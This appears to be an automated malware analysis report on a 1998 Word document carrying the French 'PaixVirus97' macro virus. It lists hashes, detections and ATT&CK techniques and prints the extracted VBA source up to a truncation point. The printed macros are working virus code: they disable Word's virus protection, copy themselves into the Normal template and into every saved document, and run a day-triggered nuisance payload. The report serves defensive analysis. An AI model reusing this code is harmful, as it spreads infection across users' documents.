Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f213ec41d753074…

MALICIOUS

Office (OLE)

66.5 KB Created: 1998-04-17 07:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0598a77442ad3fc441e29eb8379d9a5a SHA-1: c99aa59b206bccb64cb98c29aa3a862780dbefc1 SHA-256: 2f213ec41d753074c8a7cebf4c65c358f14190b16136efe8d36eb8460d7ac47e
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macro markers and a VBA macro named 'PaixVirus97'. The AutoOpen macro attempts to copy itself to the Normal template, indicating an intent to establish persistence and potentially spread. The macro also includes logic to execute on specific days of the week, suggesting a time-based payload delivery.

Heuristics 4

  • ClamAV: Doc.Trojan.ZMK-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.ZMK-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21054 bytes
SHA-256: 94954273a182b44e531fafb3b2d06b35f5168292f1a4e2d242655dfc12653dbd
Detection
ClamAV: Doc.Trojan.ZMK-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "PaixVirus97"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAE
Dim MyDate, MyWeek, N$
MyDate = Date
MyWeek = WeekDay(MyDate, vbMonday)
Randomize
N$ = Int(Rnd * 7) + 1
If MyWeek = N$ Then
    MsgBox "C'est le jour J pour moi...", vbInformation, "PaixVirus97"
    Call PaixV97Pay
End If
ErrorAE:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
iMacroCount = WordBasic.CountMacros(0, 0)
On Error GoTo ErrorAO
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "PaixVirus97" Then
        PaixVirus97Installed = -1
    End If
Next i
If Not PaixVirus97Installed Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="PaixVirus97", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="PaixMsg1", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="PaixMsg2", Object:=wdOrganizerObjectProjectItems
    MsgBox "La PAIX soit avec vous..." & Chr$(13) & "HAHAHAHAHA!!!!", vbCritical, "PaixVirus97"
End If
ErrorAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
        If ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate Then
            ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        End If
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="PaixVirus97", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="PaixMsg1", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="PaixMsg2", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    PaixMsg1.Show
    ActiveWindow.Caption = "PaixVirus97 est là !!!!"
ErrorFT:
End Sub
Private Sub PaixV97Pay()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorPV97P
For t = 1 To 10
ActiveWindow.Caption = "Je veux avoir la paix!!!!!, merci"
For i = 1 To 400000
Next i
ActiveWindow.Caption = "        Je veux avoir la paix!!!!!, merci"
For i = 1 To 400000
Next i
ActiveWindow.Caption = "                Je veux avoir la paix!!!!!, merci"
For i = 1 To 400000
Next i
ActiveWindow.Caption = "                        Je veux avoir la paix!!!!!, merci"
For i = 1 To 400000
Next i
ActiveWindow.Caption = "                                Je veux avoir la paix!!!!!, merci"
For i = 1 To 400000
Next i
ActiveWindow.Caption = "                                        Je veux avoir la paix!!!!!, merci "
For i = 1 To 400000
Next i
ActiveWindow.Caption = "                                                Je veux avoir la paix!!!!!, merci"
For i = 1 To 400000
Next i
ActiveWindow.Caption = "                                                        Je veux avoir la paix!!!!!, merci"
For i = 1 To 400000
Next i
ActiveWindow.Caption = "                                                                Je veux avoir la paix!!!!!, merci"
For i = 1 To 400000
Next i
ActiveWindow.Capt
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.